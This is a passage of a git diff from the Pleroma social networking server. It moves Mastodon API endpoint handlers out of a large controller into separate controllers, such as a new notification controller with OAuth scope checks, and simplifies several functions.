Map.put(:visibility, "direct") - - activities = - [user.ap_id] - |> ActivityPub.fetch_activities_query(params) - |> Pagination.fetch_paginated(params) - - conn - |> add_link_headers(activities) - |> put_view(StatusView) - |> render("index.json", %{activities: activities, for: user, as: :activity}) - end - - def get_statuses(%{assigns: %{user: user}} = conn, %{"ids" => ids}) do - limit = 100 - - activities = - ids - |> Enum.take(limit) - |> Activity.all_by_ids_with_object() - |> Enum.filter(&Visibility.visible_for_user?(&1, user)) - - conn - |> put_view(StatusView) - |> render("index.json", activities: activities, for: user, as: :activity) - end - - def get_status(%{assigns: %{user: user}} = conn, %{"id" => id}) do - with %Activity{} = activity <- Activity.get_by_id_with_object(id), - true <- Visibility.visible_for_user?(activity, user) do - conn - |> put_view(StatusView) - |> try_render("status.json", %{activity: activity, for: user}) - end - end - - def get_context(%{assigns: %{user: user}} = conn, %{"id" => id}) do - with %Activity{} = activity <- Activity.get_by_id(id), - activities <- - ActivityPub.fetch_activities_for_context(activity.data["context"], %{ - "blocking_user" => user, - "user" => user, - "exclude_id" => activity.id - }), - grouped_activities <- Enum.group_by(activities, fn %{id: id} -> id < activity.id end) do - result = %{ - ancestors: - StatusView.render( - "index.json", - for: user, - activities: grouped_activities[true] || [], - as: :activity - ) - |> Enum.reverse(), - # credo:disable-for-previous-line Credo.Check.Refactor.PipeChainStart - descendants: - StatusView.render( - "index.json", - for: user, - activities: grouped_activities[false] || [], - as: :activity - ) - |> Enum.reverse() - # credo:disable-for-previous-line Credo.Check.Refactor.PipeChainStart - } - - json(conn, result) - end - end - def get_poll(%{assigns: %{user: user}} = conn, %{"id" => id}) do with %Object{} = object <- Object.get_by_id_and_maybe_refetch(id, interval: 60), %Activity{} = activity <- Activity.get_create_by_object_ap_id(object.data["id"]), @@ -721,257 +226,15 @@ def poll_vote(%{assigns: %{user: user}} = conn, %{"id" => id, "choices" => choic end end - def scheduled_statuses(%{assigns: %{user: user}} = conn, params) do - with scheduled_activities <- MastodonAPI.get_scheduled_activities(user, params) do - conn - |> add_link_headers(scheduled_activities) - |> put_view(ScheduledActivityView) - |> render("index.json", %{scheduled_activities: scheduled_activities}) - end - end - - def show_scheduled_status(%{assigns: %{user: user}} = conn, %{"id" => scheduled_activity_id}) do - with %ScheduledActivity{} = scheduled_activity <- - ScheduledActivity.get(user, scheduled_activity_id) do - conn - |> put_view(ScheduledActivityView) - |> render("show.json", %{scheduled_activity: scheduled_activity}) - else - _ -> {:error, :not_found} - end - end - - def update_scheduled_status( + def update_media( %{assigns: %{user: user}} = conn, - %{"id" => scheduled_activity_id} = params - ) do - with %ScheduledActivity{} = scheduled_activity <- - ScheduledActivity.get(user, scheduled_activity_id), - {:ok, scheduled_activity} <- ScheduledActivity.update(scheduled_activity, params) do - conn - |> put_view(ScheduledActivityView) - |> render("show.json", %{scheduled_activity: scheduled_activity}) - else - nil -> {:error, :not_found} - error -> error - end - end - - def delete_scheduled_status(%{assigns: %{user: user}} = conn, %{"id" => scheduled_activity_id}) do - with %ScheduledActivity{} = scheduled_activity <- - ScheduledActivity.get(user, scheduled_activity_id), - {:ok, scheduled_activity} <- ScheduledActivity.delete(scheduled_activity) do - conn - |> put_view(ScheduledActivityView) - |> render("show.json", %{scheduled_activity: scheduled_activity}) - else - nil -> {:error, :not_found} - error -> error - end - end - - def post_status(%{assigns: %{user: user}} = conn, %{"status" => _} = params) do - params = - params - |> Map.put("in_reply_to_status_id", params["in_reply_to_id"]) - - scheduled_at = params["scheduled_at"] - - if scheduled_at && ScheduledActivity.far_enough?(scheduled_at) do - with {:ok, scheduled_activity} <- - ScheduledActivity.create(user, %{"params" => params, "scheduled_at" => scheduled_at}) do - conn - |> put_view(ScheduledActivityView) - |> render("show.json", %{scheduled_activity: scheduled_activity}) - end - else - params = Map.drop(params, ["scheduled_at"]) - - case CommonAPI.post(user, params) do - {:error, message} -> - conn - |> put_status(:unprocessable_entity) - |> json(%{error: message}) - - {:ok, activity} -> - conn - |> put_view(StatusView) - |> try_render("status.json", %{activity: activity, for: user, as: :activity}) - end - end - end - - def delete_status(%{assigns: %{user: user}} = conn, %{"id" => id}) do - with {:ok, %Activity{}} <- CommonAPI.delete(id, user) do - json(conn, %{}) - else - _e -> render_error(conn, :forbidden, "Can't delete this post") - end - end - - def reblog_status(%{assigns: %{user: user}} = conn, %{"id" => ap_id_or_id}) do - with {:ok, announce, _activity} <- CommonAPI.repeat(ap_id_or_id, user), - %Activity{} = announce <- Activity.normalize(announce.data) do - conn - |> put_view(StatusView) - |> try_render("status.json", %{activity: announce, for: user, as: :activity}) - end - end - - def unreblog_status(%{assigns: %{user: user}} = conn, %{"id" => ap_id_or_id}) do - with {:ok, _unannounce, %{data: %{"id" => id}}} <- CommonAPI.unrepeat(ap_id_or_id, user), - %Activity{} = activity <- Activity.get_create_by_object_ap_id_with_object(id) do - conn - |> put_view(StatusView) - |> try_render("status.json", %{activity: activity, for: user, as: :activity}) - end - end - - def fav_status(%{assigns: %{user: user}} = conn, %{"id" => ap_id_or_id}) do - with {:ok, _fav, %{data: %{"id" => id}}} <- CommonAPI.favorite(ap_id_or_id, user), - %Activity{} = activity <- Activity.get_create_by_object_ap_id(id) do - conn - |> put_view(StatusView) - |> try_render("status.json", %{activity: activity, for: user, as: :activity}) - end - end - - def unfav_status(%{assigns: %{user: user}} = conn, %{"id" => ap_id_or_id}) do - with {:ok, _, _, %{data: %{"id" => id}}} <- CommonAPI.unfavorite(ap_id_or_id, user), - %Activity{} = activity <- Activity.get_create_by_object_ap_id(id) do - conn - |> put_view(StatusView) - |> try_render("status.json", %{activity: activity, for: user, as: :activity}) - end - end - - def pin_status(%{assigns: %{user: user}} = conn, %{"id" => ap_id_or_id}) do - with {:ok, activity} <- CommonAPI.pin(ap_id_or_id, user) do - conn - |> put_view(StatusView) - |> try_render("status.json", %{activity: activity, for: user, as: :activity}) - end - end - - def unpin_status(%{assigns: %{user: user}} = conn, %{"id" => ap_id_or_id}) do - with {:ok, activity} <- CommonAPI.unpin(ap_id_or_id, user) do - conn - |> put_view(StatusView) - |> try_render("status.json", %{activity: activity, for: user, as: :activity}) - end - end - - def bookmark_status(%{assigns: %{user: user}} = conn, %{"id" => id}) do - with %Activity{} = activity <- Activity.get_by_id_with_object(id), - %User{} = user <- User.get_cached_by_nickname(user.nickname), - true <- Visibility.visible_for_user?(activity, user), - {:ok, _bookmark} <- Bookmark.create(user.id, activity.id) do - conn - |> put_view(StatusView) - |> try_render("status.json", %{activity: activity, for: user, as: :activity}) - end - end - - def unbookmark_status(%{assigns: %{user: user}} = conn, %{"id" => id}) do - with %Activity{} = activity <- Activity.get_by_id_with_object(id), - %User{} = user <- User.get_cached_by_nickname(user.nickname), - true <- Visibility.visible_for_user?(activity, user), - {:ok, _bookmark} <- Bookmark.destroy(user.id, activity.id) do - conn - |> put_view(StatusView) - |> try_render("status.json", %{activity: activity, for: user, as: :activity}) - end - end - - def mute_conversation(%{assigns: %{user: user}} = conn, %{"id" => id}) do - activity = Activity.get_by_id(id) - - with {:ok, activity} <- CommonAPI.add_mute(user, activity) do - conn - |> put_view(StatusView) - |> try_render("status.json", %{activity: activity, for: user, as: :activity}) - end - end - - def unmute_conversation(%{assigns: %{user: user}} = conn, %{"id" => id}) do - activity = Activity.get_by_id(id) - - with {:ok, activity} <- CommonAPI.remove_mute(user, activity) do - conn - |> put_view(StatusView) - |> try_render("status.json", %{activity: activity, for: user, as: :activity}) - end - end - - def notifications(%{assigns: %{user: user}} = conn, params) do - notifications = MastodonAPI.get_notifications(user, params) - - conn - |> add_link_headers(notifications) - |> put_view(NotificationView) - |> render("index.json", %{notifications: notifications, for: user}) - end - - def get_notification(%{assigns: %{user: user}} = conn, %{"id" => id} = _params) do - with {:ok, notification} <- Notification.get(user, id) do - conn - |> put_view(NotificationView) - |> render("show.json", %{notification: notification, for: user}) - else - {:error, reason} -> - conn - |> put_status(:forbidden) - |> json(%{"error" => reason}) - end - end - - def clear_notifications(%{assigns: %{user: user}} = conn, _params) do - Notification.clear(user) - json(conn, %{}) - end - - def dismiss_notification(%{assigns: %{user: user}} = conn, %{"id" => id} = _params) do - with {:ok, _notif} <- Notification.dismiss(user, id) do - json(conn, %{}) - else - {:error, reason} -> - conn - |> put_status(:forbidden) - |> json(%{"error" => reason}) - end - end - - def destroy_multiple_notifications(%{assigns: %{user: user}} = conn, %{"ids" => ids} = _params) do - Notification.destroy_multiple(user, ids) - json(conn, %{}) - end - - def relationships(%{assigns: %{user: user}} = conn, %{"id" => id}) do - id = List.wrap(id) - q = from(u in User, where: u.id in ^id) - targets = Repo.all(q) - - conn - |> put_view(AccountView) - |> render("relationships.json", %{user: user, targets: targets}) - end - - # Instead of returning a 400 when no "id" params is present, Mastodon returns an empty array. - def relationships(%{assigns: %{user: _user}} = conn, _), do: json(conn, []) - - def update_media(%{assigns: %{user: user}} = conn, data) do - with %Object{} = object <- Repo.get(Object, data["id"]), + %{"id" => id, "description" => description} = _ + ) + when is_binary(description) do + with %Object{} = object <- Repo.get(Object, id), true <- Object.authorize_mutation(object, user), - true <- is_binary(data["description"]), - description <- data["description"] do - new_data = %{object.data | "name" => description} - - {:ok, _} = - object - |> Object.change(%{data: new_data}) - |> Repo.update() - - attachment_data = Map.put(new_data, "id", object.id) + {:ok, %Object{data: data}} <- Object.update_data(object, %{"name" => description}) do + attachment_data = Map.put(data, "id", object.id) conn |> put_view(StatusView) @@ -979,6 +242,8 @@ def update_media(%{assigns: %{user: user}} = conn, data) do end end + def update_media(_conn, _data), do: {:error, :bad_request} + def upload(%{assigns: %{user: user}} = conn, %{"file" => file} = data) do with {:ok, object} <- ActivityPub.upload( @@ -994,211 +259,13 @@ def upload(%{assigns: %{user: user}} = conn, %{"file" => file} = data) do end end - def set_mascot(%{assigns: %{user: user}} = conn, %{"file" => file}) do - with {:ok, object} <- ActivityPub.upload(file, actor: User.ap_id(user)), - %{} = attachment_data <- Map.put(object.data, "id", object.id), - %{type: type} = rendered <- - StatusView.render("attachment.json", %{attachment: attachment_data}) do - # Reject if not an image - if type == "image" do - # Sure! - # Save to the user's info - info_changeset = User.Info.mascot_update(user.info, rendered) - - user_changeset = - user - |> Changeset.change() - |> Changeset.put_embed(:info, info_changeset) - - {:ok, _user} = User.update_and_set_cache(user_changeset) - - conn - |> json(rendered) - else - render_error(conn, :unsupported_media_type, "mascots can only be images") - end - end - end - - def get_mascot(%{assigns: %{user: user}} = conn, _params) do - mascot = User.get_mascot(user) - - conn - |> json(mascot) - end - - def favourited_by(%{assigns: %{user: user}} = conn, %{"id" => id}) do - with %Activity{} = activity <- Activity.get_by_id_with_object(id), - {:visible, true} <- {:visible, Visibility.visible_for_user?(activity, user)}, - %Object{data: %{"likes" => likes}} <- Object.normalize(activity) do - q = from(u in User, where: u.ap_id in ^likes) - - users = - Repo.all(q) - |> Enum.filter(&(not User.blocks?(user, &1))) - - conn - |> put_view(AccountView) - |> render("accounts.json", %{for: user, users: users, as: :user}) - else - {:visible, false} -> {:error, :not_found} - _ -> json(conn, []) - end - end - - def reblogged_by(%{assigns: %{user: user}} = conn, %{"id" => id}) do - with %Activity{} = activity <- Activity.get_by_id_with_object(id), - {:visible, true} <- {:visible, Visibility.visible_for_user?(activity, user)}, - %Object{data: %{"announcements" => announces}} <- Object.normalize(activity) do - q = from(u in User, where: u.ap_id in ^announces) - - users = - Repo.all(q) - |> Enum.filter(&(not User.blocks?(user, &1))) - - conn - |> put_view(AccountView) - |> render("accounts.json", %{for: user, users: users, as: :user}) - else - {:visible, false} -> {:error, :not_found} - _ -> json(conn, []) - end - end - - def hashtag_timeline(%{assigns: %{user: user}} = conn, params) do - local_only = params["local"] in [true, "True", "true", "1"] - - tags = - [params["tag"], params["any"]] - |> List.flatten() - |> Enum.uniq() - |> Enum.filter(& &1) - |> Enum.map(&String.downcase(&1)) - - tag_all = - params["all"] || - [] - |> Enum.map(&String.downcase(&1)) - - tag_reject = - params["none"] || - [] - |> Enum.map(&String.downcase(&1)) - - activities = - params - |> Map.put("type", "Create") - |> Map.put("local_only", local_only) - |> Map.put("blocking_user", user) - |> Map.put("muting_user", user) - |> Map.put("user", user) - |> Map.put("tag", tags) - |> Map.put("tag_all", tag_all) - |> Map.put("tag_reject", tag_reject) - |> ActivityPub.fetch_public_activities() - |> Enum.reverse() - - conn - |> add_link_headers(activities, %{"local" => local_only}) - |> put_view(StatusView) - |> render("index.json", %{activities: activities, for: user, as: :activity}) - end - - def followers(%{assigns: %{user: for_user}} = conn, %{"id" => id} = params) do - with %User{} = user <- User.get_cached_by_id(id), - followers <- MastodonAPI.get_followers(user, params) do - followers = - cond do - for_user && user.id == for_user.id -> followers - user.info.hide_followers -> [] - true -> followers - end - - conn - |> add_link_headers(followers) - |> put_view(AccountView) - |> render("accounts.json", %{for: for_user, users: followers, as: :user}) - end - end - - def following(%{assigns: %{user: for_user}} = conn, %{"id" => id} = params) do - with %User{} = user <- User.get_cached_by_id(id), - followers <- MastodonAPI.get_friends(user, params) do - followers = - cond do - for_user && user.id == for_user.id -> followers - user.info.hide_follows -> [] - true -> followers - end - - conn - |> add_link_headers(followers) - |> put_view(AccountView) - |> render("accounts.json", %{for: for_user, users: followers, as: :user}) - end - end - - def follow_requests(%{assigns: %{user: followed}} = conn, _params) do - with {:ok, follow_requests} <- User.get_follow_requests(followed) do - conn - |> put_view(AccountView) - |> render("accounts.json", %{for: followed, users: follow_requests, as: :user}) - end - end - - def authorize_follow_request(%{assigns: %{user: followed}} = conn, %{"id" => id}) do - with %User{} = follower <- User.get_cached_by_id(id), - {:ok, follower} <- CommonAPI.accept_follow_request(follower, followed) do - conn - |> put_view(AccountView) - |> render("relationship.json", %{user: followed, target: follower}) - else - {:error, message} -> - conn - |> put_status(:forbidden) - |> json(%{error: message}) - end - end - - def reject_follow_request(%{assigns: %{user: followed}} = conn, %{"id" => id}) do - with %User{} = follower <- User.get_cached_by_id(id), - {:ok, follower} <- CommonAPI.reject_follow_request(follower, followed) do - conn - |> put_view(AccountView) - |> render("relationship.json", %{user: followed, target: follower}) - else - {:error, message} -> - conn - |> put_status(:forbidden) - |> json(%{error: message}) - end - end - - def follow(%{assigns: %{user: follower}} = conn, %{"id" => id}) do - with {_, %User{} = followed} <- {:followed, User.get_cached_by_id(id)}, - {_, true} <- {:followed, follower.id != followed.id}, - {:ok, follower} <- MastodonAPI.follow(follower, followed, conn.params) do - conn - |> put_view(AccountView) - |> render("relationship.json", %{user: follower, target: followed}) - else - {:followed, _} -> - {:error, :not_found} - - {:error, message} -> - conn - |> put_status(:forbidden) - |> json(%{error: message}) - end - end - - def follow(%{assigns: %{user: follower}} = conn, %{"uri" => uri}) do + def follows(%{assigns: %{user: follower}} = conn, %{"uri" => uri}) do with {_, %User{} = followed} <- {:followed, User.get_cached_by_nickname(uri)}, {_, true} <- {:followed, follower.id != followed.id}, {:ok, follower, followed, _} <- CommonAPI.follow(follower, followed) do conn |> put_view(AccountView) - |> render("account.json", %{user: followed, for: follower}) + |> render("show.json", %{user: followed, for: follower}) else {:followed, _} -> {:error, :not_found} @@ -1210,141 +277,20 @@ def follow(%{assigns: %{user: follower}} = conn, %{"uri" => uri}) do end end - def unfollow(%{assigns: %{user: follower}} = conn, %{"id" => id}) do - with {_, %User{} = followed} <- {:followed, User.get_cached_by_id(id)}, - {_, true} <- {:followed, follower.id != followed.id}, - {:ok, follower} <- CommonAPI.unfollow(follower, followed) do - conn - |> put_view(AccountView) - |> render("relationship.json", %{user: follower, target: followed}) - else - {:followed, _} -> - {:error, :not_found} - - error -> - error - end - end - - def mute(%{assigns: %{user: muter}} = conn, %{"id" => id} = params) do - notifications = - if Map.has_key?(params, "notifications"), - do: params["notifications"] in [true, "True", "true", "1"], - else: true - - with %User{} = muted <- User.get_cached_by_id(id), - {:ok, muter} <- User.mute(muter, muted, notifications) do - conn - |> put_view(AccountView) - |> render("relationship.json", %{user: muter, target: muted}) - else - {:error, message} -> - conn - |> put_status(:forbidden) - |> json(%{error: message}) - end - end - - def unmute(%{assigns: %{user: muter}} = conn, %{"id" => id}) do - with %User{} = muted <- User.get_cached_by_id(id), - {:ok, muter} <- User.unmute(muter, muted) do - conn - |> put_view(AccountView) - |> render("relationship.json", %{user: muter, target: muted}) - else - {:error, message} -> - conn - |> put_status(:forbidden) - |> json(%{error: message}) - end - end - def mutes(%{assigns: %{user: user}} = conn, _) do with muted_accounts <- User.muted_users(user) do - res = AccountView.render("accounts.json", users: muted_accounts, for: user, as: :user) + res = AccountView.render("index.json", users: muted_accounts, for: user, as: :user) json(conn, res) end end - def block(%{assigns: %{user: blocker}} = conn, %{"id" => id}) do - with %User{} = blocked <- User.get_cached_by_id(id), - {:ok, blocker} <- User.block(blocker, blocked), - {:ok, _activity} <- ActivityPub.block(blocker, blocked) do - conn - |> put_view(AccountView) - |> render("relationship.json", %{user: blocker, target: blocked}) - else - {:error, message} -> - conn - |> put_status(:forbidden) - |> json(%{error: message}) - end - end - - def unblock(%{assigns: %{user: blocker}} = conn, %{"id" => id}) do - with %User{} = blocked <- User.get_cached_by_id(id), - {:ok, blocker} <- User.unblock(blocker, blocked), - {:ok, _activity} <- ActivityPub.unblock(blocker, blocked) do - conn - |> put_view(AccountView) - |> render("relationship.json", %{user: blocker, target: blocked}) - else - {:error, message} -> - conn - |> put_status(:forbidden) - |> json(%{error: message}) - end - end - def blocks(%{assigns: %{user: user}} = conn, _) do with blocked_accounts <- User.blocked_users(user) do - res = AccountView.render("accounts.json", users: blocked_accounts, for: user, as: :user) + res = AccountView.render("index.json", users: blocked_accounts, for: user, as: :user) json(conn, res) end end - def domain_blocks(%{assigns: %{user: %{info: info}}} = conn, _) do - json(conn, info.domain_blocks || []) - end - - def block_domain(%{assigns: %{user: blocker}} = conn, %{"domain" => domain}) do - User.block_domain(blocker, domain) - json(conn, %{}) - end - - def unblock_domain(%{assigns: %{user: blocker}} = conn, %{"domain" => domain}) do - User.unblock_domain(blocker, domain) - json(conn, %{}) - end - - def subscribe(%{assigns: %{user: user}} = conn, %{"id" => id}) do - with %User{} = subscription_target <- User.get_cached_by_id(id), - {:ok, subscription_target} = User.subscribe(user, subscription_target) do - conn - |> put_view(AccountView) - |> render("relationship.json", %{user: user, target: subscription_target}) - else - {:error, message} -> - conn - |> put_status(:forbidden) - |> json(%{error: message}) - end - end - - def unsubscribe(%{assigns: %{user: user}} = conn, %{"id" => id}) do - with %User{} = subscription_target <- User.get_cached_by_id(id), - {:ok, subscription_target} = User.unsubscribe(user, subscription_target) do - conn - |> put_view(AccountView) - |> render("relationship.json", %{user: user, target: subscription_target}) - else - {:error, message} -> - conn - |> put_status(:forbidden) - |> json(%{error: message}) - end - end - def favourites(%{assigns: %{user: user}} = conn, params) do params = params @@ -1362,37 +308,6 @@ def favourites(%{assigns: %{user: user}} = conn, params) do |> render("index.json", %{activities: activities, for: user, as: :activity}) end - def user_favourites(%{assigns: %{user: for_user}} = conn, %{"id" => id} = params) do - with %User{} = user <- User.get_by_id(id), - false <- user.info.hide_favorites do - params = - params - |> Map.put("type", "Create") - |> Map.put("favorited_by", user.ap_id) - |> Map.put("blocking_user", for_user) - - recipients = - if for_user do - [Pleroma.Constants.as_public()] ++ [for_user.ap_id | for_user.following] - else - [Pleroma.Constants.as_public()] - end - - activities = - recipients - |> ActivityPub.fetch_activities(params) - |> Enum.reverse() - - conn - |> add_link_headers(activities) - |> put_view(StatusView) - |> render("index.json", %{activities: activities, for: for_user, as: :activity}) - else - nil -> {:error, :not_found} - true -> render_error(conn, :forbidden, "Can't get favorites") - end - end - def bookmarks(%{assigns: %{user: user}} = conn, params) do user = User.get_cached_by_id(user.id) @@ -1410,37 +325,6 @@ def bookmarks(%{assigns: %{user: user}} = conn, params) do |> render("index.json", %{activities: activities, for: user, as: :activity}) end - def account_lists(%{assigns: %{user: user}} = conn, %{"id" => account_id}) do - lists = Pleroma.List.get_lists_account_belongs(user, account_id) - res = ListView.render("lists.json", lists: lists) - json(conn, res) - end - - def list_timeline(%{assigns: %{user: user}} = conn, %{"list_id" => id} = params) do - with %Pleroma.List{title: _title, following: following} <- Pleroma.List.get(id, user) do - params = - params - |> Map.put("type", "Create") - |> Map.put("blocking_user", user) - |> Map.put("user", user) - |> Map.put("muting_user", user) - - # we must filter the following list for the user to avoid leaking statuses the user - # does not actually have permission to see (for more info, peruse security issue #270). - activities = - following - |> Enum.filter(fn x -> x in user.following end) - |> ActivityPub.fetch_activities_bounded(following, params) - |> Enum.reverse() - - conn - |> put_view(StatusView) - |> render("index.json", %{activities: activities, for: user, as: :activity}) - else - _e -> render_error(conn, :forbidden, "Error.") - end - end - def index(%{assigns: %{user: user}} = conn, _params) do token = get_session(conn, :oauth_token) @@ -1449,8 +333,7 @@ def index(%{assigns: %{user: user}} = conn, _params) do limit = Config.get([:instance, :limit]) - accounts = - Map.put(%{}, user.id, AccountView.render("account.json", %{user: user, for: user})) + accounts = Map.put(%{}, user.id, AccountView.render("show.json", %{user: user, for: user})) initial_state = %{ @@ -1547,11 +430,7 @@ def index(%{assigns: %{user: user}} = conn, _params) do end def put_settings(%{assigns: %{user: user}} = conn, %{"data" => settings} = _params) do - info_cng = User.Info.mastodon_settings_update(user.info, settings) - - with changeset <- Changeset.change(user), - changeset <- Changeset.put_embed(changeset, :info, info_cng), - {:ok, _user} <- User.update_and_set_cache(changeset) do + with {:ok, _} <- User.update_info(user, &User.Info.mastodon_settings_update(&1, settings)) do json(conn, %{}) else e -> @@ -1568,7 +447,7 @@ def login(%{assigns: %{user: %User{}}} = conn, _params) do @doc "Local Mastodon FE login init action" def login(conn, %{"code" => auth_token}) do with {:ok, app} <- get_or_make_app(), - %Authorization{} = auth <- Repo.get_by(Authorization, token: auth_token, app_id: app.id), + {:ok, auth} <- Authorization.get_by_token(app, auth_token), {:ok, token} <- Token.exchange_token(app, auth) do conn |> put_session(:oauth_token, token.token) @@ -1580,9 +459,7 @@ def login(conn, %{"code" => auth_token}) do def login(conn, _) do with {:ok, app} <- get_or_make_app() do path = - o_auth_path( - conn, - :authorize, + o_auth_path(conn, :authorize, response_type: "code", client_id: app.client_id, redirect_uri: ".", @@ -1604,31 +481,12 @@ defp local_mastodon_root_path(conn) do end end + @spec get_or_make_app() :: {:ok, App.t()} | {:error, Ecto.Changeset.t()} defp get_or_make_app do - find_attrs = %{client_name: @local_mastodon_name, redirect_uris: "."} - scopes = ["read", "write", "follow", "push"] - - with %App{} = app <- Repo.get_by(App, find_attrs) do - {:ok, app} = - if app.scopes == scopes do - {:ok, app} - else - app - |> Changeset.change(%{scopes: scopes}) - |> Repo.update() - end - - {:ok, app} - else - _e -> - cs = - App.register_changeset( - %App{}, - Map.put(find_attrs, :scopes, scopes) - ) - - Repo.insert(cs) - end + App.get_or_make( + %{client_name: @local_mastodon_name, redirect_uris: "."}, + ["read", "write", "follow", "push"] + ) end def logout(conn, _) do @@ -1637,16 +495,8 @@ def logout(conn, _) do |> redirect(to: "/") end - def relationship_noop(%{assigns: %{user: user}} = conn, %{"id" => id}) do - Logger.debug("Unimplemented, returning unmodified relationship") - - with %User{} = target <- User.get_cached_by_id(id) do - conn - |> put_view(AccountView) - |> render("relationship.json", %{user: user, target: target}) - end - end - + # Stubs for unimplemented mastodon api + # def empty_array(conn, _) do Logger.debug("Unimplemented, returning an empty array") json(conn, []) @@ -1657,67 +507,6 @@ def empty_object(conn, _) do json(conn, %{}) end - def endorsements(conn, params), do: empty_array(conn, params) - - def get_filters(%{assigns: %{user: user}} = conn, _) do - filters = Filter.get_filters(user) - res = FilterView.render("filters.json", filters: filters) - json(conn, res) - end - - def create_filter( - %{assigns: %{user: user}} = conn, - %{"phrase" => phrase, "context" => context} = params - ) do - query = %Filter{ - user_id: user.id, - phrase: phrase, - context: context, - hide: Map.get(params, "irreversible", false), - whole_word: Map.get(params, "boolean", true) - # expires_at - } - - {:ok, response} = Filter.create(query) - res = FilterView.render("filter.json", filter: response) - json(conn, res) - end - - def get_filter(%{assigns: %{user: user}} = conn, %{"id" => filter_id}) do - filter = Filter.get(filter_id, user) - res = FilterView.render("filter.json", filter: filter) - json(conn, res) - end - - def update_filter( - %{assigns: %{user: user}} = conn, - %{"phrase" => phrase, "context" => context, "id" => filter_id} = params - ) do - query = %Filter{ - user_id: user.id, - filter_id: filter_id, - phrase: phrase, - context: context, - hide: Map.get(params, "irreversible", nil), - whole_word: Map.get(params, "boolean", true) - # expires_at - } - - {:ok, response} = Filter.update(query) - res = FilterView.render("filter.json", filter: response) - json(conn, res) - end - - def delete_filter(%{assigns: %{user: user}} = conn, %{"id" => filter_id}) do - query = %Filter{ - user_id: user.id, - filter_id: filter_id - } - - {:ok, _} = Filter.delete(query) - json(conn, %{}) - end - def suggestions(%{assigns: %{user: user}} = conn, _) do suggestions = Config.get(:suggestions) @@ -1765,104 +554,6 @@ defp fetch_suggestion_id(attrs) do end end - def status_card(%{assigns: %{user: user}} = conn, %{"id" => status_id}) do - with %Activity{} = activity <- Activity.get_by_id(status_id), - true <- Visibility.visible_for_user?(activity, user) do - data = - StatusView.render( - "card.json", - Pleroma.Web.RichMedia.Helpers.fetch_data_for_activity(activity) - ) - - json(conn, data) - else - _e -> - %{} - end - end - - def create_report(%{assigns: %{user: user}} = conn, params) do - case CommonAPI.report(user, params) do - {:ok, activity} -> - conn - |> put_view(ReportView) - |> try_render("report.json", %{activity: activity}) - - {:error, err} -> - conn - |> put_status(:bad_request) - |> json(%{error: err}) - end - end - - def account_register( - %{assigns: %{app: app}} = conn, - %{"username" => nickname, "email" => _, "password" => _, "agreement" => true} = params - ) do - params = - params - |> Map.take([ - "email", - "captcha_solution", - "captcha_token", - "captcha_answer_data", - "token", - "password" - ]) - |> Map.put("nickname", nickname) - |> Map.put("fullname", params["fullname"] || nickname) - |> Map.put("bio", params["bio"] || "") - |> Map.put("confirm", params["password"]) - - with {:ok, user} <- TwitterAPI.register_user(params, need_confirmation: true), - {:ok, token} <- Token.create_token(app, user, %{scopes: app.scopes}) do - json(conn, %{ - token_type: "Bearer", - access_token: token.token, - scope: app.scopes, - created_at: Token.Utils.format_created_at(token) - }) - else - {:error, errors} -> - conn - |> put_status(:bad_request) - |> json(errors) - end - end - - def account_register(%{assigns: %{app: _app}} = conn, _params) do - render_error(conn, :bad_request, "Missing parameters") - end - - def account_register(conn, _) do - render_error(conn, :forbidden, "Invalid credentials") - end - - def conversations(%{assigns: %{user: user}} = conn, params) do - participations = Participation.for_user_with_last_activity_id(user, params) - - conversations = - Enum.map(participations, fn participation -> - ConversationView.render("participation.json", %{participation: participation, for: user}) - end) - - conn - |> add_link_headers(participations) - |> json(conversations) - end - - def conversation_read(%{assigns: %{user: user}} = conn, %{"id" => participation_id}) do - with %Participation{} = participation <- - Repo.get_by(Participation, id: participation_id, user_id: user.id), - {:ok, participation} <- Participation.mark_as_read(participation) do - participation_view = - ConversationView.render("participation.json", %{participation: participation, for: user}) - - conn - |> json(participation_view) - end - end - def password_reset(conn, params) do nickname_or_email = params["email"] || params["nickname"] @@ -1879,16 +570,6 @@ def password_reset(conn, params) do end end - def account_confirmation_resend(conn, params) do - nickname_or_email = params["email"] || params["nickname"] - - with %User{} = user <- User.get_by_nickname_or_email(nickname_or_email), - {:ok, _} <- User.try_send_confirmation_email(user) do - conn - |> json_response(:no_content, "") - end - end - def try_render(conn, target, params) when is_binary(target) do case render(conn, target, params) do diff --git a/lib/pleroma/web/mastodon_api/controllers/notification_controller.ex b/lib/pleroma/web/mastodon_api/controllers/notification_controller.ex new file mode 100644 index 000000000..36c6defc2 --- /dev/null +++ b/lib/pleroma/web/mastodon_api/controllers/notification_controller.ex @@ -0,0 +1,67 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.NotificationController do + use Pleroma.Web, :controller + + import Pleroma.Web.ControllerHelper, only: [add_link_headers: 2] + + alias Pleroma.Notification + alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Web.MastodonAPI.MastodonAPI + + @oauth_read_actions [:show, :index] + + plug( + OAuthScopesPlug, + %{scopes: ["read:notifications"]} when action in @oauth_read_actions + ) + + plug(OAuthScopesPlug, %{scopes: ["write:notifications"]} when action not in @oauth_read_actions) + + # GET /api/v1/notifications + def index(%{assigns: %{user: user}} = conn, params) do + notifications = MastodonAPI.get_notifications(user, params) + + conn + |> add_link_headers(notifications) + |> render("index.json", notifications: notifications, for: user) + end + + # GET /api/v1/notifications/:id + def show(%{assigns: %{user: user}} = conn, %{"id" => id}) do + with {:ok, notification} <- Notification.get(user, id) do + render(conn, "show.json", notification: notification, for: user) + else + {:error, reason} -> + conn + |> put_status(:forbidden) + |> json(%{"error" => reason}) + end + end + + # POST /api/v1/notifications/clear + def clear(%{assigns: %{user: user}} = conn, _params) do + Notification.clear(user) + json(conn, %{}) + end + + # POST /api/v1/notifications/dismiss + def dismiss(%{assigns: %{user: user}} = conn, %{"id" => id} = _params) do + with {:ok, _notif} <- Notification.dismiss(user, id) do + json(conn, %{}) + else + {:error, reason} -> + conn + |> put_status(:forbidden) + |> json(%{"error" => reason}) + end + end + + # DELETE /api/v1/notifications/destroy_multiple + def destroy_multiple(%{assigns: %{user: user}} = conn, %{"ids" => ids} = _params) do + Notification.destroy_multiple(user, ids) + json(conn, %{}) + end +end diff --git a/lib/pleroma/web/mastodon_api/controllers/report_controller.ex b/lib/pleroma/web/mastodon_api/controllers/report_controller.ex new file mode 100644 index 000000000..313f885a6 --- /dev/null +++ b/lib/pleroma/web/mastodon_api/controllers/report_controller.ex @@ -0,0 +1,20 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors 